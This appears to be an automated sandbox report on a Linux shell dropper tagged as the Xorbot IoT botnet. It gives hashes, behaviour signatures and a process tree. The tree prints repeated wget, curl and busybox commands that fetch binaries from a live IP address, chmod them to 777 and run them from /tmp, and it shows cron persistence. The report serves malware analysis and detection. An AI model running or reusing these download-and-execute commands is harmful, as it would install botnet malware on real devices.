Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04-12-2024 00:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f05da6a5f1c558bd14134bace343c53b

  • SHA1

    802bad5f79db08727638201f735df65f813a3d71

  • SHA256

    ab9cf57b69b0f3988a832c77e08ee2799b5e1623bf927cc77f48879aae9fc01e

  • SHA512

    131f0a3d6c279ba5c6bfc52032768bd4e67ac9c6852f05de87e97b8028c2c02467e4d78b9afbbc2c859779007ec3d3f2b14df504c6f378785a27666b65126817

  • SSDEEP

    192:IF6LkGoyxtdO2TFTFhjxDYQ4E8N9tquGiRN9tquEhjxDYQ7FvFTvTxtdO2V:I8LkGoyxtdO2TFTFhjxDYQ4E8N9tquGv

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1955) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1465
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1466
        • /usr/bin/wget
          wget http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
          • Writes file to tmp directory
          PID:1467
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
          • Writes file to tmp directory
          PID:1482
        • /bin/chmod
          chmod 777 wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
          • File and Directory Permissions Modification
          PID:1483
        • /tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          ./wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
          • Executes dropped EXE
          PID:1484
        • /bin/rm
          rm wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg
          2⤵
            PID:1486
          • /usr/bin/wget
            wget http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
            • Writes file to tmp directory
            PID:1487
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
            • Writes file to tmp directory
            PID:1489
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
            • Writes file to tmp directory
            PID:1490
          • /bin/chmod
            chmod 777 YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
            • File and Directory Permissions Modification
            PID:1491
          • /tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            ./YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
            • Executes dropped EXE
            PID:1492
          • /bin/rm
            rm YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2
            2⤵
              PID:1494
            • /usr/bin/wget
              wget http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
              • Writes file to tmp directory
              PID:1495
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
              • Writes file to tmp directory
              PID:1496
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
              • Writes file to tmp directory
              PID:1497
            • /bin/chmod
              chmod 777 PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
              • File and Directory Permissions Modification
              PID:1498
            • /tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              ./PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
              • Executes dropped EXE
              PID:1499
            • /bin/rm
              rm PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q
              2⤵
                PID:1501
              • /usr/bin/wget
                wget http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                2⤵
                • Writes file to tmp directory
                PID:1502
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                2⤵
                • Writes file to tmp directory
                PID:1503
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                2⤵
                • Writes file to tmp directory
                PID:1504
              • /bin/chmod
                chmod 777 CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                2⤵
                • File and Directory Permissions Modification
                PID:1505
              • /tmp/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                ./CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                2⤵
                • Executes dropped EXE
                PID:1506
              • /bin/rm
                rm CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2
                2⤵
                  PID:1508
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                  2⤵
                  • Writes file to tmp directory
                  PID:1509
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                  2⤵
                  • Writes file to tmp directory
                  PID:1510
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                  2⤵
                  • Writes file to tmp directory
                  PID:1511
                • /bin/chmod
                  chmod 777 YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1512
                • /tmp/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                  ./YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                  2⤵
                  • Executes dropped EXE
                  PID:1513
                • /bin/rm
                  rm YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq
                  2⤵
                    PID:1515
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                    2⤵
                    • Writes file to tmp directory
                    PID:1516
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                    2⤵
                    • Writes file to tmp directory
                    PID:1517
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                    2⤵
                    • Writes file to tmp directory
                    PID:1518
                  • /bin/chmod
                    chmod 777 DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1519
                  • /tmp/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                    ./DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                    2⤵
                    • Executes dropped EXE
                    PID:1520
                  • /bin/rm
                    rm DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U
                    2⤵
                      PID:1522
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK40
                      2⤵
                      • Writes file to tmp directory
                      PID:1523
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK40
                      2⤵
                      • Writes file to tmp directory
                      PID:1524
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK40
                      2⤵
                      • Writes file to tmp directory
                      PID:1525
                    • /bin/chmod
                      chmod 777 Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK40
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1526
                    • /tmp/Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK40
                      ./Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK40
                      2⤵
                      • Executes dropped EXE
                      PID:1527
                    • /bin/rm
                      rm Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK40
                      2⤵
                        PID:1529
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/OYNY6xK0487wGl5XLcehkRTQ44WQYXGmNS
                        2⤵
                        • Writes file to tmp directory
                        PID:1530
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/OYNY6xK0487wGl5XLcehkRTQ44WQYXGmNS
                        2⤵
                        • Writes file to tmp directory
                        PID:1531
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/OYNY6xK0487wGl5XLcehkRTQ44WQYXGmNS
                        2⤵
                        • Writes file to tmp directory
                        PID:1532
                      • /bin/chmod
                        chmod 777 OYNY6xK0487wGl5XLcehkRTQ44WQYXGmNS
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1533
                      • /tmp/OYNY6xK0487wGl5XLcehkRTQ44WQYXGmNS
                        ./OYNY6xK0487wGl5XLcehkRTQ44WQYXGmNS
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:1534
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:1536
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:1537
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:1538
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:1539
                            • /bin/rm
                              rm OYNY6xK0487wGl5XLcehkRTQ44WQYXGmNS
                              2⤵
                                PID:1541
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/92XG8ferEmkHTl7ryeaxcrYrDKUqcAsDP5
                                2⤵
                                  PID:1544

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK40

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/OYNY6xK0487wGl5XLcehkRTQ44WQYXGmNS

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /var/spool/cron/crontabs/tmp.was0kN

                                Filesize

                                210B

                                MD5

                                7c63111aa78d4d46a5779c79f7866314

                                SHA1

                                087eb20daadd7ead62fe5742262e494269809de6

                                SHA256

                                e577fa6efe469898b2696426144176b38b3ae1d95fa030a1cc56b8b08ad01d29

                                SHA512

                                ad6e86f6286f9c0bfe712584824bdeb746cf60363a1b6039c98ab1c6d8e31fc6ca7b2e7fc930d58ebee71b343e88c5332579b577167dd2ea72f846914b9edbcd